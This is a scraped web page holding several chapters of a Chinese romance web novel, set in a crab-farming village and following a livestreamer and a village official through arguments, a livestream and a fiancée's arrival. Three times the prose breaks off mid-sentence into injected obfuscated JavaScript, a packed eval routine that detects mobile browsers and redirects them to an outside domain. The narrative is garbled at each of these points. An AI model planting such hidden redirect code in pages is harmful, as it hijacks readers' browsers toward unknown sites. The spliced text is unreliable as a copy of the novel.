房间里没开灯,只有桌前亮着一盏昏黄的台灯。一个穿着白色T恤的男人背对着她,正在敲键盘。 “原朗?”她迷迷糊糊地喊。 男人转过身:“你还知道醒啊?猪跟你比都甘拜下风。” “几点了?” “九点。” 余楸揉着眼睛坐起来:“怎么不开灯?” 原朗冷哼:“我闲的。” 他起身收拾衣服:“赶紧起来,回去了。” “哎等等——”余楸拽住被子,“能不能……再住一晚啊?” “我爸妈不让喝酒,回去他们会说我的……” 她的声音逐渐变小,仿佛在为下午的放纵赎罪。 原朗放下衣服,挑眉:“那你还跟我喝那么欢?” “不怕我是坏人?” 余楸呆呆反问:“你是吗?” 昏暗的房间里,两人四目相对。 她今天怎么不按套路出牌?! 原朗烦躁地抓了把头发:“小爷是活雷锋,是大好人。”拿起外套往外走。 “你去哪啊?” “享受夜生活,”原朗回头,笑得痞气。 “怎么,要一起吗?” 夜生活?不会是……那种吧? 余楸一脸鄙夷,她表示将跟社会不正之风割席。 “你最好不要把你的想法说出来,”原朗眯眼。 “不然我会把你脖子上那个葫芦掰下来。” “那你去玩啥?”余楸揪着被子,“带我一起呗。” “我一个人……无聊。” 说完她就后悔了。 自己什么时候这么耐不住寂寞了。 不对不对,这话听起来怪怪的。 应该是,自己什么时候开始愿意跟着这个不着调的男人混了。 原朗盯着她看了两秒,往她脸上扔了条毛巾。 “走吧,去泡温泉。” * 酒店的温泉在顶层,私汤被一道竹制屏障隔开。水汽氤氲中,余楸裹着浴巾踩进池子,温热的水流瞬间包裹全身,舒服得她差点哼出声。 “哗啦——” 她开心地扑腾两下。 屏障那边传来原朗的声音:“喂,你是在打水仗还是泡温泉?能不能消停点。” 虽然知道看不见,余楸还是有些不自在。 她抓紧了浴巾:“关你什么事,泡你的吧。” 一整天的奔波和疲惫都在温热的水里慢慢消散了,余楸慢慢松开攥着浴巾的手,安静的享受这来之不易的惬意时光。 “舒服吗?” “还行吧。” “开心吗?” “一般吧。” “你什么时候能老实回答我的问题?” 余楸掬起一捧水:“那就下一个吧,勉为其难跟你唠点真心的。” 温泉陷入沉默。 余楸有些等急了。 “我说你问不问啊,过了这村可就没这店了啊。” “那你告诉我。” “贺源是谁?” 余楸猛地抬头,愣在原地。 浴巾飘落,只留下一片温柔的白。 14. 别动 十八岁以后,余楸的心里就空出来了一块地方,留给贺源。 两家是左右邻居,贺源比她大三岁,两个人从小一起长大。他会在她爬树时在下面张开手臂,会把她举到肩上摘槐花,会在她被爸妈训哭时偷偷塞给她一颗糖。 甚至两家大人也常笑着说:“等以后咱做个亲家。” 直到余楸上大学的前夜。 贺源告诉她,他们要搬走了,搬到北方去投奔亲戚。 余楸记不清自己当时说了什么,只记得眼泪像决了堤,哭到几乎窒息。是贺源把她背回家,在她床边守了一夜。等天亮醒来时,她只看到贺源上车的背影。 连一句好好的告别都没有。 温泉水汽氤氲,余楸的手指攥紧了浴巾边缘。 她不知道原朗是怎么知道贺源的,但心里泛起一阵酸涩——这样隐秘的旧伤被重新揭开,而揭开它的人,偏偏是那个总爱挖苦她的原朗。 “怎么,不敢说?”男人的声音隔着竹屏障传来。 “你怎么知道他的?”余楸声音很轻。 “某人睡在我家那晚,”原朗冷笑,“除了骂我,就一直喊''阿源阿源'',我堵上耳朵都没用。” 那天清晨,天还没亮透。 原朗早早起床,坐在茶几边研究文件,余光时不时瞥向沙发上熟睡的余楸——他担心她腿伤不好,半夜从沙发上滚下来还要赖自己头上。 正翻着报表,突然听见一声嘟囔:“原朗……混蛋……” 这女人梦里都不忘骂他。 可下一秒,她的声音突然软了下来。 “阿源……别走……” 原朗愣住。 阿源? 这么矫情的称呼,是在喊他吗? 他仔仔细细听了半天才明白—— 她喊的阿源不是自己,是一个叫贺源的男人。 原朗当场气笑了。他大发慈悲收留她,给她做饭、铺床,甚至起早守着怕她出事。结果这女人骂完他,转头就喊另一个男人,还是那么亲密的称呼? 他起身去晨跑,冷风吹了半天都没压下那股无名火。后来余楸道歉时噼里啪啦数落他,他愣是没找到机会问。 这段时间他时不时想起这事,他原朗什么时候被人拿来跟别的男人比较过?还惨败? 今天他非得问清楚,这个“贺源”到底什么来头。 可余楸此刻的沉默,让他心里那股不爽更浓了。 温泉陷入长久的寂静,只有水流轻轻拍打池壁的声音。 “喂,哑巴了?”原朗终于打破沉默。 “没有。” “那怎么不说话?” “不想告诉你。” 余楸把半张脸埋进水里,咕嘟咕嘟吐出一串气泡。 这是她最隐秘的少女心事,凭什么告诉这个总爱戏弄她的家伙? 屏障那头传来“哗啦”一声响,原朗似乎站了起来。余楸下意识往水里缩了缩,温泉水漫过脖颈,几乎要淹到下巴。 “想死别死这儿,”原朗的声音带着讥讽,“我还得替你收尸。” 余楸没吭声,盯着水面晃动的月光出神。 她忽然想起贺源离开前夜,也是这样的月光。他背着她走过长长的田埂,她的眼泪浸湿了他的后背。 而现在,隔着这道屏障,另一个男人的气息近在咫尺。 真奇怪,明明是两个完全不同的人。 贺源像温润的溪水,而原朗是汹涌的大海。 “余楸。”原朗突然连名带姓叫她。 “干嘛?” “你真的很没眼光。” 水珠从余楸的发梢滴落,她眨了眨眼,突然有点鼻酸。 这个讨厌鬼,到底什么时候才能跟她说一句好听的话啊! “哦。”她小声应道,把发热的眼眶埋进水里。 温泉再次安静下来。 * 清晨的阳光洒在晨阳村的石板路上,余楸和原朗赶回村子时,正巧碰上余父结束蟹塘的早间巡视。 “哟,回来啦?”余父擦了擦手上的水渍,笑呵呵地招呼,“原书记,一起吃个早饭?” 原朗难得没推辞:“那就打扰了。” 余家的早餐桌上摆得满满当当,刚出锅的蟹黄小笼□□薄馅足,金黄酥脆的油条配着热腾腾的豆浆,还有余母特制的腌黄瓜和辣酱。 “这次交流会怎么样?”余父给原朗夹了个包子。 原朗简单说了说见闻,重点提到饲料厂的合作意向。 余楸咽下嘴里的油条,插话道:“爸,我觉得这单生意能做。” 两个男人同时看向她。 “首先,他们给的价格比市场价低15%,”余楸掰着手指数,“其次承诺帮我们宣传,最后——”她眼睛发亮,“他们提供的样品我看了,蛋白质含量比我们现在用的高8%,但脂肪含量更低,更适合螃蟹育肥期。” 原朗慢条斯理地喝了口豆浆:“分析得不错,但漏了最关键的一点。” “什么?” “凭什么让村里其他塘主听你的用这款饲料?”原朗放下碗,“你知道换饲料对养殖户来说风险多大吗?” 余楸不服:“可数据证明——” “数据再好,比不上他们几十年积累的经验。”原朗打断她,“除非你能证明,用了这款饲料的塘,收益确实比别人的高。” 余父若有所思地点头:“原书记说得在理。老张头去年换了新饲料,结果螃蟹集体蜕壳延迟,亏了十几万。” 余楸咬着筷子思考片刻,突然拍桌而起:“那我们就做个示范塘!” “就用我家的塘试,成功了再推广。我要让全村人看到——” 她指向原朗,又指指自己。 “我,余楸,能成为蟹塘的一把手!” 豆浆碗被震得晃了晃,原朗看着眼前斗志昂扬的姑娘,嘴角微不可察地上扬:“口气不小。” “等着瞧!”余楸抓起最后一个包子塞进嘴里,含糊不清地说,“一个月内,我让蟹塘产量涨两成!” 余父哈哈大笑,原朗则挑眉看她:“要是做不到?” “做不到我给您当一个月丫鬟!” “得了吧,我才不相信你说的话呢。”原朗轻轻叩了下桌面,“不过余塘主,提醒你一下——” 他指了指她嘴角,“蟹黄沾脸上了。” 余楸手忙脚乱去擦,余父的笑声和原朗的闷笑在晨光中交织。 * 几天没开播,余楸决定今晚来一期特别节目。她毫不客气地跟原朗提出要借用他家的院子,原朗也毫不客气地狮子大开口:“两百块租金,不讲价。” 余楸一边收拾直播道具,一边腹诽:真是个讨厌鬼,都认识这么久了,也不打个折。 她抬头时,目光落在床头灯上挂着的那条螃蟹项链上,眼神不自觉地柔和下来。 自从原朗送给她后,她还从来没戴过。 一是觉得这东西看起来就很贵,怕磕了碰了心疼;二是,她不想让原朗知道,自己其实很喜欢他送的这件礼物。 好吧,她承认——是特别喜欢。 每天晚上睡觉前,她都会伸出手指轻轻摸两下。银色的螃蟹在灯光下泛着细腻的光泽,钳子上还嵌着一颗小小的蓝宝石,精致又灵动。 “要不……今天戴一下?”余楸小心翼翼地把项链捧起来,自言自语。 “那就戴着你去直播。” 晚上八点,原朗正在院子里洗车,听见脚步声,抬头就看见余楸走了过来。 她今天穿了一条薄荷绿的吊带裙,柔顺的黑发垂在肩上,衬得肌肤如雪。裙子剪裁利落,衬得她腰细腿长,特有骨架。锁骨处,有什么东西在闪光。 原朗定睛一看,是那条螃蟹项链。 余楸见他一言不发地盯着自己,忍不住问:“不好看吗?” 男人收回目光,继续擦车:“你什么时候好看过?” 他瞥她一眼:“打扮得跟个毛毛虫一样要干啥?” “上树吗?” 余楸真的恨死这张嘴了! 这可是她翻箱倒柜半小时,特地为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812563|175312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了配这条项链搭的衣服,居然被说成毛毛虫?! “爬到你身上恶心死你!”余楸气呼呼地丢下一句,抱着设备直奔后院。 等她走远,原朗才侧头看去。 月光下,她的背影纤细又挺拔,薄荷绿的裙摆随着步伐轻轻晃动,像一片被风吹起的嫩叶。 余楸今晚直播的内容是竹编。 她从小跟村里的老人学过这门手艺,能编出精巧的篮子、杯垫,甚至小动物。开播后,她熟练地跟观众打招呼,然后拿起细长的竹条开始示范。 “今天教大家编一个小螃蟹,很适合当钥匙扣哦~” 她正低头专注地编织,突然,一把椅子“啪”地放在她旁边。 原朗抱着一大盒未拆的乐高,大剌剌地坐下。 弹幕瞬间炸了: 【啊啊啊是书记!】 【双人直播!我嗑的CP复活了!】 【书记今天也好帅!】 余楸把头伸出镜头外,压低声音:“你又要作什么妖?” 原朗故意大声道:“我哪有作妖啊,我只是想一起直播啊。” “我能教人竹编,你能教啥?” “我教人拼乐高。不都是手艺活,有什么不一样?” 说完,他直接上手把镜头掰过来,调整角度,让两个人都能入镜。 “大家好啊!又是本官。今天还是双人直播。大家好好看好好学,玩得开心。” 说完,得意地向余楸挑了挑眉。 余楸觉得,这男人的发疯是间歇性的。 直播间安静下来,有低低的蝉鸣作伴。 画面里,余楸纤细的手指灵活地穿梭在竹条间,神情专注;而原朗则低着头,修长的手指搭着乐高零件,一块一块地拼接着,侧脸在灯光下格外深邃。 弹幕疯狂刷屏: 【夫妻档手艺人!】 【好配好配!】 【书记的手好好看!】 原朗抬头,冷不防看见那条弹幕,故意大声读出来:“''夫妻档手艺人''?这位老板你误会了。” “这是我大姨。” 余楸羞得去捶他,却被原朗灵巧躲过。 他得意地晃了晃手里的乐高:“大姨文学不提倡哦。” 余楸:“……” 她真的无地自容了! 直播结束,余楸兴奋地拿着手机给林小樱发消息:【今晚直播效果爆炸!涨粉五千!】 发完消息,她一转头,看见原朗靠在小竹椅上,长腿交叠,双手抱胸,闭着眼,呼吸平稳。 睡着了? 余楸眨眨眼,恶作剧的念头冒了出来。 她蹑手蹑脚地摘了一根狗尾巴草,一边靠近一边在心里邪恶地笑。 嘿嘿嘿,落到我手上了吧?看我怎么教训你! 她先用狗尾巴草轻轻挠他的鼻子——没反应。 又去挠耳朵——还是没反应。 最后,她坏笑着把草尖慢慢凑近他的嘴唇…… 就在即将碰到的前一秒,她的手腕突然被一把抓住。 原朗睁开眼,两人四目相对。 月光洒在院子里,银辉落在他的睫毛上,投下一小片阴影。余楸在他漆黑的瞳孔里看到了自己的倒影,心跳陡然加速。 “余楸。”原朗的声音低哑。 “你知道打扰别人睡觉会有什么后果吗?” 余楸咽了咽口水,但还是壮着胆子反问:“能,能有什么后果?” 男人唇角微勾。 “会被咬。” 说完,他轻轻拽了下她的手腕。余楸失去平衡,整个人往前一扑—— 直接栽进了他怀里。 薄荷绿的裙摆散开,像一片飘落的叶子,轻轻覆在他的膝盖上。 余楸的脸瞬间烧了起来,挣扎着想爬起来,却被原朗按住后腰。 “别动。” “再动真咬你了。” 夜风拂过,竹叶沙沙作响。余楸趴在他胸口,听见了他有力的心跳。 比她的,还要快。 15. 保持距离 月光下,两人的姿势暧昧至极。 余楸半趴在原朗身上,薄荷绿的裙摆凌乱地散开,露出一截白皙的小腿。她的手腕还被原朗扣着,整个人几乎嵌在他怀里。 而原朗仰靠在竹椅上,衬衫领口因为刚才的动作微微敞开,锁骨线条分明。他的另一只手虚扶在她的腰侧,指尖若有似无地触碰着裙子的薄纱面料。 像一幅被定格的风月画。 半晌,余楸才猛地撑着他的胸膛坐起来,脸颊烧得通红。 “流、流氓!” 她跳起来就跑,连直播设备都忘了拿,薄荷绿的裙角在夜色中一闪而过。 院子里静悄悄的。 原朗看了看自己的手,掌心还残留着她手腕的触感——很细,有一小块骨头突出来,像只容易受惊的雀鸟。 他闭上眼睛,脑海里浮现出刚才的画面。 余楸跌下来时,项链微微晃动,银色的螃蟹吊坠垂落,露出锁骨下一小片雪白的肌肤,再往下是…… 朦胧的曲线,像月光下的山峦。 原朗站起身,捡起地上那根狗尾巴草,走向客厅,插在那个空空如也的花瓶里,转身进了浴室。 冷水哗啦啦地冲下来,但好像怎么都浇不灭两颗心脏紧贴在一起的温度。 * 余楸跑得很快,夜风刮过耳畔,带着初夏的燥热。 直到肺里的空气被抽干,她才停下,扶着路边的树干大口喘息。心口跳得厉害,像是要撞破胸膛。 他为什么要那样? 余楸咬着唇,思绪乱成一团。 是逗她玩吗? 还是…… 她摇摇头,立刻否定了那个荒谬的念头。 余楸不用想也知道,像原朗那样的纨绔子弟,肯定用同样的方式逗过不少女生。自己不过是他下乡期间的消遣工具,亦或是用来证明他魅力的又一个战利品。 一切都是假的,都是虚的。 他在逗她玩,一直如此。 她讨厌这样,讨厌这样的原朗。 眼眶渐渐发热,余楸不想去承认某些事情。 比如,原朗没把她当朋友。 所以才会时不时撩她,看她慌张的样子而高兴。 可是…… 自己已经把他当朋友了。 她缓缓走在月光下,摘了那条螃蟹项链,冰凉的金属触感让她逐渐冷静下来。 保持距离吧,对彼此都好。 这是个有点艰难的决定,像一根刺,扎在心头,隐隐作痛。 但余楸知道,这是最明智的选择。 她抬头看了看天上的月亮,很亮,很冷,就像原朗那双总是带着讥讽的眼睛。 从明天开始,只谈公事,绝不越界。 余楸深吸一口气,把那股莫名的酸涩压回心底,朝着家的方向走去。 月光把她的影子拉得很长,很长。 * 第二天一大早,余楸正和林小樱从面包车上卸饲料,余光瞥见不远处走来的原朗。他手里拿着笔记本,衬衫袖口卷到手肘,看样子是刚开完例会回来。 她装作没看见,继续弯腰搬起一袋饲料,动作刻意地背对着他。 “怎么开会不来也不请假?”原朗的声音在身后响起。 余楸没应。 “自己上市里也不告诉我。” 余楸头也不抬,语气平淡:“原书记是大忙人,这种小事哪好意思麻烦你。” 原朗不由得皱眉。这话听着像是客套,又像是讽刺,他竟一时分辨不出。 但有一点他很确定:余楸今天心情不好。 他没再说话,直接上前接过她手里的饲料袋,轻松地扛到肩上,动作干脆利落。 林小樱站在一旁,目光在两人之间来回扫视。 这是怎么了。 * 晨阳村村委会的每周例会上,余楸破天荒地又一次迟到了。 她抱着笔记本,轻手轻脚地推开会议室的门,目光迅速扫视一圈——原朗坐在主位上,正在翻看文件,修长的手指夹着一支钢笔,时不时在纸上勾画。 余楸低着头,径直走向离他最远的角落。 “余楸,”原朗喊住她,“坐前面来。” 会议室里很安静,所有人的目光都集中在她身上。 “我坐这儿就行,”她扯出一个笑,“视野好。” 男人终于抬起头,漆黑的眸子盯着她,眉头微蹙。 余楸假装没看见,翻开笔记本,专注地盯着空白页。 会议开始后,原朗提到下周的电商培训,目光扫向她:“余楸,你负责带队。” “我没空,”她立刻拒绝。 意识到自己好像驳了他的面子,又找补了一句:“蟹塘最近要消毒。” “消毒可以推迟。” “推迟会影响螃蟹蜕壳周期。” “那换林小樱去消毒,你去培训。” “小樱她不懂配比。” 钢笔“啪”地拍在桌上,原朗的声音冷了下来。 “余楸,你到底想怎样?” 余楸终于转头,对上他的视线。 “我只是在陈述事实,原书记。” 两人隔空对峙,空气仿佛凝固。 最后还是林书记打圆场:“要不这样,培训改到下午,余楸上午处理完塘务再去?” 余楸抿了抿唇:“……好。” 会议结束后,她第一个冲出门,却听见身后急促的脚步声。 手腕被一把扣住,原朗将她拽到走廊转角,声音压得极低。 “你躲我?” “没有,”余楸用力挣了挣,没挣脱,“我只是最近有点忙。” “忙到连句话都没空跟我说?” “我们刚才不是在会上说了很多吗?” 原朗气笑了:“余楸,你——” “原书记!”远处有人喊他,“县里的电话!” 余楸趁机抽出手腕,头也不回地走了。 原朗站在原地,看着她的背影,指尖还残留着她皮肤的触感——比上次更凉了。 * 连续三天,余楸的午餐时间从12点变成了下午2点。 原朗坐在村委会办公室,看着墙上的时钟指向1点30分——往常这个时候,余楸早就端着饭盒,一边抱怨村里那个老破食堂的菜太咸,一边从他碗里抢肉吃。 他拿起手机,拨通她的电话。 “喂?”那头传来嘈杂的机器声。 “你在哪?” “蟹塘。” “吃饭了吗?” “吃了。” “吃的什么?” “这好像不在原书记的工作范围内吧。” 电话直接被挂断。 原朗盯着屏幕,眼神阴沉。 半小时后,他拎着饭盒出现在蟹塘边。余楸正蹲在增氧机旁检修,工装裤上沾满泥点,额头上的汗珠在阳光下闪闪发亮。 原朗径直走过去,把饭盒放在她脚边:“食堂最后一份红烧排骨。” 余楸动作一顿,没抬头:“谢谢,我吃过了。” “撒谎。” “林小樱说你早上就没带饭。” “……” “余楸。” 原朗蹲下身,平视她的眼睛,语气里尽是不满。 “你到底在发什么疯。” “我发疯?”余楸有些不可置信。 “你不是发疯是什么?”原朗的脾气上来,也不再藏着掖着。 这几天他一直追着她,却是热脸贴脸冷屁股。 他原朗什么时候低头哄过人? 他觉得这女人真的很麻烦。 可是对上余楸平静的眼神,原朗又不自觉的心虚了。 他刚才的话是不是说的…… 太重了? “你总是这样。” 原朗愣住:“什么?” “没什么,”余楸站起身,拍了拍手上的泥。 “原书记去忙吧,别在我这个疯子身上浪费时间了。” 她转身走向工具棚,背影瘦削又倔强。 原朗总是这样少爷性子、总是欺负自己。 而自己,总是那样好脾气、总是那样窝囊。 * 两天后,原朗跟着林书记去县里出差了。 余楸觉得这样正好。见不到他,也就不用费心去想怎么保持距离。 在塘埂上的那次吵架,她现在回想起来还是觉得心里堵得慌。 这天夜里,她正蹲在蟹塘边检查增氧机的输氧管。月光很淡,她只能靠手电筒的光亮一点一点摸索着管道接口,指尖沾满了黑色的机油和泥垢。 夜风吹得芦苇沙沙作响,偶尔有鱼跃出水面的声音,衬得夜色更加寂静。 “秋秋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812564|175312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——”母亲的声音从坡上传来。 “快回家!有人找你!” 余楸一愣,手里的扳手顿了顿。 她的第一反应是原朗回来了,但转念一想,如果是他,母亲肯定会直接说“原书记来了”。 那会是谁? 她在市里没什么朋友,更不会有人大晚上特地来找她。 顾不上多想,她擦了擦手,拎起水桶就往家走。 塘埂上的路不平,她又走得急,一个没留神被凸起的树根绊了一下,整个人往前踉跄几步,胳膊肘重重擦过粗糙的砂石地面。 她倒抽一口冷气,抬起手臂一看,擦破了一大片皮,血丝混着泥沙,看起来又脏又狼狈。 真倒霉。 遇见原朗以后,她都不知道自己摔了多少回。 果然,那男人就是上帝派来创死她的。 余楸忍着疼继续往前走,远远地看见家门口停着一辆紫色的跑车,车漆在月光下泛着奢华的金属光泽。 和原朗的车是一个牌子。 她的脚步不自觉地放慢了。 还没等她走近,一个身影就从车旁蹦了出来。 “啊啊啊啊秋秋姐姐!你好!” 那是个打扮得光彩夺目的姑娘,约莫二十出头,栗色的卷发扎成高马尾,身上穿着某奢侈品牌的当季新款连衣裙,脚上的小羊皮靴子一尘不染。 她兴奋地冲到余楸面前,眼睛亮晶晶的:“我是你的超级大粉丝!” 余楸懵了。 粉丝,她居然也有粉丝了。 “你好你好。”她局促地笑了笑,下意识把受伤的手臂往身后藏。 “我身上脏,不方便跟你握手,我去清理一下。” “没事没事!”姑娘毫不在意地摆摆手。 “姐姐,我叫裴知意,从你第一次直播就关注你了!特地来找你合影的!还想在村里住几天,跟你学养螃蟹!” 余楸低头看了看自己——工装裤上沾满泥点,胶鞋里灌着塘水,胳膊上的伤口还在渗血。 而眼前的女孩精致得像是从杂志里走出来的模特,连指甲都涂着漂亮的裸粉色。 她苦笑一下,难道要这样子合影吗? “村子里目前没有农家乐,”余楸声音温和,“要不你去县里的酒店住?环境会好很多。” “没关系没关系!”裴知意眨眨眼,“我可以住姐姐家吗?我付钱的!” “这……”余楸无奈,“你爸爸妈妈知道吗?住在陌生人家里他们会不放心的。” “没事的姐姐,我是成年人了!”裴知意拍拍胸脯,“而且过几天我哥哥就来了,到时候有他陪我。” “你哥哥?” “对啊!”裴知意笑得灿烂。 “他过几天也到晨阳村来上任。” 余楸一怔。 又要来一个新官?原朗怎么没告诉她? 她还是柔声拒绝:“这样不行的,我不放心。” “哎呀姐姐!”裴知意拉住她的衣角晃了晃,撒娇道,“实话跟你说了吧,我未婚夫在这!” 余楸更惊讶了。 这么年轻的姑娘就有未婚夫了?果然大家族的孩子,连谈情说爱都比别人早一步。 正想着,裴知意的手机突然响了——是泰勒·斯威夫特的《LoveStory》。 这是余楸最喜欢的歌,还特地加到了原朗的车载蓝牙里。 “不好意思姐姐,我接个电话!”裴知意歉意地笑笑,接起电话后瞬间变脸。 “你跑哪去了?!我哥不是说你来接我的吗?害得我转了大半圈才找到村子里!现在还没得住呢!我在秋秋姐家门口,赶紧回来接我,我晚上住你那!” 挂掉电话,她不好意思地吐了吐舌头。 余楸忍不住笑了:“没关系的。我喜欢你数落未婚夫的样子,很霸气。” 两人在门口聊了一会儿,裴知意兴奋地分享着自己是怎么通过直播背景里的landmarks找到晨阳村的。 余楸听着,时不时应和几句,心里却装着事。 她哥哥是谁? 她得未婚夫又是谁? 正出神,不远处突然亮起一束手电筒的光,有人正朝这边走来。 裴知意眼睛一亮,跳起来挥手。 “原朗!我在这儿!” “啪嗒”。 余楸手里的水桶掉在了地上。 16. 阿原还是阿源 裴知意蹦跳着走到原朗身边,热切地挽起他的胳膊,嘟着嘴抱怨:“你怎么现在才来?我都饿死了!” 原朗低头看了看她挽着自己的手,又瞥了一眼站在不远处的余楸,默不作声地把裴知意的手扒拉下来,语气淡淡:“你怎么跑来了?” “我哥说你让我来这儿玩啊!”裴知意一脸无辜,“他过两天就到。” “你哥说的话都是放屁。”原朗毫不客气,“跟我回去。” 裴知意“哦”了一声,转头冲余楸使劲挥手:“秋秋姐,我明天再来找你玩!” 余楸勉强撑起一个笑容。 “好啊,明天见。” 她站在原地,看着两人离去的背影。裴知意像只欢快的小鸟,叽叽喳喳地围在原朗身边,而原朗虽然表情嫌弃,却也没有真的制止她。 他好像不会嫌裴知意吵闹,也不会说林小樱闷。 只有对自己,他哪哪都不满意,哪哪都能挑刺。 她真的跟他犯冲吗?还是他单纯讨厌自己? 余楸想不出答案。 真烦。 回到家,余楸换了身干净衣服,累了一天却怎么也睡不着。 她在床上翻来覆去,最后还是摸出手机,给林小樱发了条消息:【睡了吗?】 没想到对方秒回:【没呢,赶稿子】 林小樱大学学的是美术,虽然毕业后回了乡,但一直会接一些商业插画的活儿。 余楸不想打扰她工作,正想说“没事”,对方又发来一条:【秋秋,我们出来聊聊天呗?】 余楸眼睛一亮:【好啊!】 她悄悄起床,从冰箱里拿出自己酿的甜米露,轻手轻脚地溜出门。 村东头最大的那棵槐树下,是她们从小到大的秘密基地。 余楸到的时候,林小樱已经坐在那儿了,膝上摊着速写本,正借着月光涂涂画画。 “小樱!”余楸忍不住笑出来,小跑过去。 月光透过槐树叶的缝隙洒下来,在地上投下斑驳的光影。两个女孩肩并肩坐在树根上,捧着玻璃瓶装的甜米露,仰头望着满天繁星。 米露清甜,带着淡淡的桂花香。夜风拂过,槐花纷纷扬扬地落下,像一场温柔的雪。 “所以,”林小樱抿了一口米露,“你是因为原书记生气呢?” 余楸“咕咚”灌了一大口:“我脾气这么好的人,除了他,谁还能真的惹到我?” 她突然坐直身子,愤愤道:“哎你说他是不是有毛病?一天到晚只知道找我茬!还贼双标——只许他给我甩脸子,我稍微冷个脸他就不爽!” “前两天巴巴跑过来给我送饭,我不吃就凶我,问我在发什么疯。” “我看他才是发疯!” 林小樱轻笑出声:“原书记的脾气,确实不太好。” “不过我觉得吧,他也不是个坏人,至少有真才实学,靠谱,也挺负责。” “但是,他那样说你,挺过分的。” “是吧!”余楸气得又喝了一口,“我真的都要气死了!” “更气自己嘴笨,不会骂回去……” 她的声音低下来。 “我是不是很没用啊?” “不许这么想!”林小樱戳了戳她的额头,“你怎么没用?你可多优点了!现在,马上,说几个——你自己想!” 余楸愣了下,随后真的掰着手指数起来:“我会养螃蟹、会唱渔歌、会竹编、直播能涨粉、还会……” 说着说着,她的眼睛渐渐亮起来,语气也变得轻快。 林小樱笑着看她:“看吧,你明明超厉害的!” 夜风轻柔,余楸仰头望着星空,似乎明白了一些事。 把原朗当空气好了,不要在乎他说的那些屁话。 自己现在要做的,是搞钱,是带着全村人一起富起来。 她举起玻璃瓶,和林小樱的轻轻一碰:“干杯!为了我们的乡村振兴大业!” 米露清甜,月色正好。两个女孩的笑声融进夏夜的虫鸣里,仿佛回到了无忧无虑的少女时代。 余楸深吸一口气,感觉胸口的郁结终于散开。 明天又是新的一天。 没有原朗捣乱的那种。 * 裴知意四仰八叉地躺在原朗家的真皮沙发上,看着站在客厅中央满脸黑线的男人,内心窃喜。 “怎么了阿原哥哥?”她故意拖长音调。 “见到我不开心啊?” 阿原,阿源,到底哪个是真的。 原朗太阳穴突突直跳:“你再喊我阿原,我把你扔出去过夜。” “怎么以前能喊,现在就不能喊了?”裴知意眨眨眼,“更何况——” “我还是你未婚妻呢。” “闭嘴。”原朗直接打断她,眼神冷得像冰。 其实所谓的“未婚妻”,根本就是个笑话。 裴家和原家是世交,两人小时候确实被长辈开玩笑订过娃娃亲。可谁知道裴知意是个花花千金,见着帅哥就撩;原朗则整天跟一群混小子飙车打拳。 两个人凑不出一个正经谈恋爱的。 叛逆期的少年少女对这个“强扭的瓜”深恶痛绝,十几岁时就双方面宣布取消了这个口头婚约。 这些年裴知意跟原朗基本不联系,一联系就是“未婚妻长未婚妻短”,不是缺钱了就是想通过他认识他的兄弟。 原朗为了耳根清净,也为了自己的清白名声,只能屡次让步。 但这次不一样,他不在京城,在晨阳村,村子里不是圈子里的那些少爷小姐,是朴实的村民。 他本来就没有未婚妻,不能让人误会。 嗯,就是不能。 “裴知意,我警告你。” “不要在村里人面前提什么未婚妻,也不要再随便扒拉我,做出什么出格的动作。” “不然,小心我把你干的破事都告诉裴知路。” 裴知意立刻举手投降:“我错了我错了行吗?你别说!我哥跟个唐僧似的,我是真怕他念经!” 原朗盯着她看了几秒,思考着她这话的可靠性,突然想起什么似的。 “你跟她说了未婚妻的事?” 这话没头没脑的,裴知意听不懂。 “谁啊?” “……” “余楸。” “说了啊!”裴知意理直气壮,“不说你能来接我?肯定把我晾那儿了!” 靠!裴知意这个嘴上没把门的家伙。 原朗很烦。 那女人会怎么想? 会不会觉得他是个玩弄感情的花花公子? 他还记得,之前余楸就骂过他是“纨绔子弟”,现在加上“未婚妻”这出,指不定背后怎么编排他。 裴知意看着原朗愣神的样子,敏锐地察觉到一丝不对劲。 作为情场老手,她一眼就看出问题—— 原朗这分明就是对余楸有想法啊。 “怎么?”她故意问,“怕人家误会啊?” 原朗冷哼一声:“我怕她误会什么?” “误会你有未婚妻,然后就不跟你玩了呀~” “我要她跟我玩?”原朗语气嘲讽,“我没工作要做吗?我有空哦。” 裴知意听着这酸溜溜的语气,心里已经确定了大半。 她乘胜追击:“你不喜欢人家?” 原朗没说话,盯着裴知意看了很久,久到她以为他要发火。 结果他只是冷冷地说:“你怎么跟你哥一个死样。” 他转身往楼上走:“我再说一次,我只是怕别人误会我的清白。你要再说这些不着三四的话,我现在就让你哥过来。” “喂!”裴知意在后面喊,“我睡哪啊!” “一楼右转衣帽间,自己打地铺。” 裴知意气鼓鼓地踹了一脚沙发。这个坏家伙,有了老婆就忘了妹妹! 但转念一想—— 如果秋秋姐真能做自己嫂子,那她岂不是可以无痛追星了?! 她眼睛一亮,立刻摸出手机,美滋滋地发了条微博。 助攻计划,启动! 二楼卧室,原朗站在窗前,盯着远处月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 